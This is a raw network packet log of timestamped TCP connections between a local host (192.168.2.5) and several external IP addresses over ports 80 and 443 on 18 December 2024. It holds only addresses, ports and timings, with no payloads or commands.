Dec 18, 2024 19:08:57.358668089 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:57.359745026 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:57.359813929 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:57.361164093 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:57.361232042 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:57.376426935 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:57.376435041 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:57.424159050 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:57.685631037 CET	80	49745	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:57.685815096 CET	49745	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:57.688661098 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:57.808495998 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:57.812320948 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:57.812613964 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:57.932209015 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:58.240281105 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:58.240372896 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:58.240427971 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:58.240516901 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:58.240536928 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:58.826809883 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:58.826904058 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:58.826977015 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:58.847888947 CET	49744	443	192.168.2.5	98.85.100.80
Dec 18, 2024 19:08:58.847924948 CET	443	49744	98.85.100.80	192.168.2.5
Dec 18, 2024 19:08:59.156810999 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.156837940 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.156850100 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.156917095 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.156917095 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.157109022 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157121897 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157130957 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157145977 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157157898 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157193899 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.157195091 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.157222986 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.157821894 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157834053 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.157890081 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.157890081 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.276774883 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.276814938 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.276896954 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.276896954 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.349001884 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.349040031 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.349045992 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.349097013 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.353104115 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.353166103 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.353280067 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.353327036 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.359668970 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.359723091 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.359863043 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.359957933 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.368381977 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.368468046 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.368486881 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.368583918 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.376606941 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.376696110 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.376748085 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.376782894 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.385128975 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.385278940 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.385289907 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.385560036 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.393549919 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.393661976 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.393693924 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.393745899 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.402127028 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.402175903 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.402220011 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.402265072 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.410507917 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.410562992 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.410603046 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.410665989 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.419466019 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.419545889 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.419589996 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.419589996 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.426704884 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.426772118 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.426790953 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.427097082 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.457071066 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:59.457132101 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:59.457222939 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:59.457585096 CET	49747	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:59.457602024 CET	443	49747	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:59.468864918 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.469006062 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.543291092 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.543337107 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.543406010 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.543406010 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.547028065 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.547214031 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.548578024 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.548639059 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.548691988 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.548742056 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.556133032 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.556221008 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.556281090 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.556399107 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.562047958 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.562112093 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.562136889 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.562184095 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.569818020 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.569880962 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.569912910 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.569951057 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.577275991 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.577347994 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.577363968 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.577534914 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.585019112 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.585058928 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.585100889 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.585180998 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.592716932 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.592750072 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.592808962 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.592868090 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.600238085 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.600303888 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.600367069 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.600410938 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.607815981 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.607891083 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.607925892 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.608031988 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.611646891 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.611758947 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.611780882 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.611829996 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.615555048 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.615711927 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.615736008 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.615772963 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.619271040 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.619339943 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.619478941 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.619810104 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.623097897 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.623181105 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.623214006 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.623342037 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.626935959 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.627044916 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.627064943 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.627218962 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.630987883 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.631347895 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.631350040 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.631622076 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.634624958 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.634727955 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.634780884 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.634780884 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.638376951 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.638566971 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.638608932 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.638668060 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.642163038 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.642235041 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.642316103 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.642461061 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.645987988 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.646121979 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.646131992 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.646367073 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.649908066 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.649990082 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.650013924 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.650053024 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.663350105 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.663366079 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.663475990 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.665165901 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.665246964 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.735375881 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.735465050 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.735575914 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.735575914 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.737164974 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.737359047 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.737407923 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.737407923 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.740981102 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.741132021 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.741149902 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.741285086 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.744810104 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.744899988 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.744908094 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.744950056 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.748671055 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.748785973 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.748867989 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.748929977 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.752469063 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.752547979 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.752686977 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.752686977 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.756333113 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.756478071 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.756490946 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.756589890 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.760066986 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.760180950 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.760236025 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.760236025 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.764054060 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.764188051 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.764194965 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.764256001 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.767693043 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.767781019 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.767834902 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.767834902 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.771568060 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.771703959 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.771711111 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.771822929 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.775430918 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.775465012 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.775531054 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.775531054 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.779299974 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.779401064 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.779418945 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.779823065 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.783070087 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.783166885 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.783190012 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.783328056 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.786807060 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.786883116 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.786947012 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.786947012 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.790641069 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.790688992 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.790719032 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.790751934 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.794272900 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.794404984 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.794429064 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.794514894 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.796257973 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.796331882 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.796375036 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.796475887 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.800924063 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.800936937 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.800983906 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.800995111 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.801018953 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.801197052 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.803273916 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.803286076 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.803338051 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.805130005 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.805279970 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.805288076 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.805512905 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.806581020 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.806596994 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.807338953 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.808234930 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.808247089 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.808300972 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.810333967 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.810345888 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.810463905 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.811455965 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.811520100 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.811543941 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.811566114 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.813908100 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.814008951 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.814053059 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.814053059 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.815346956 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.815408945 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.815454960 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.815454960 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.817370892 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.817454100 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.817487955 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.817604065 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.819178104 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.819274902 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.819335938 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.819335938 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.820998907 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.821119070 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.821149111 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.821209908 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.823010921 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.823106050 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.823154926 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.823154926 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.929318905 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.929398060 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.929430008 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.929476976 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.930232048 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.930244923 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.930391073 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.931832075 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.931845903 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.931961060 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.932373047 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.932451010 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.932760954 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.932831049 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.936625004 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.936636925 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.936706066 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.937750101 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.937824965 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.937903881 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.937957048 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.939804077 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.939816952 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.939874887 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.939874887 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.941509962 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.941521883 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.941580057 CET	49746	80	192.168.2.5	185.215.113.16
Dec 18, 2024 19:08:59.941946030 CET	80	49746	185.215.113.16	192.168.2.5
Dec 18, 2024 19:08:59.942027092 CET	49746	80	192.168.2.5	185.215.113.16
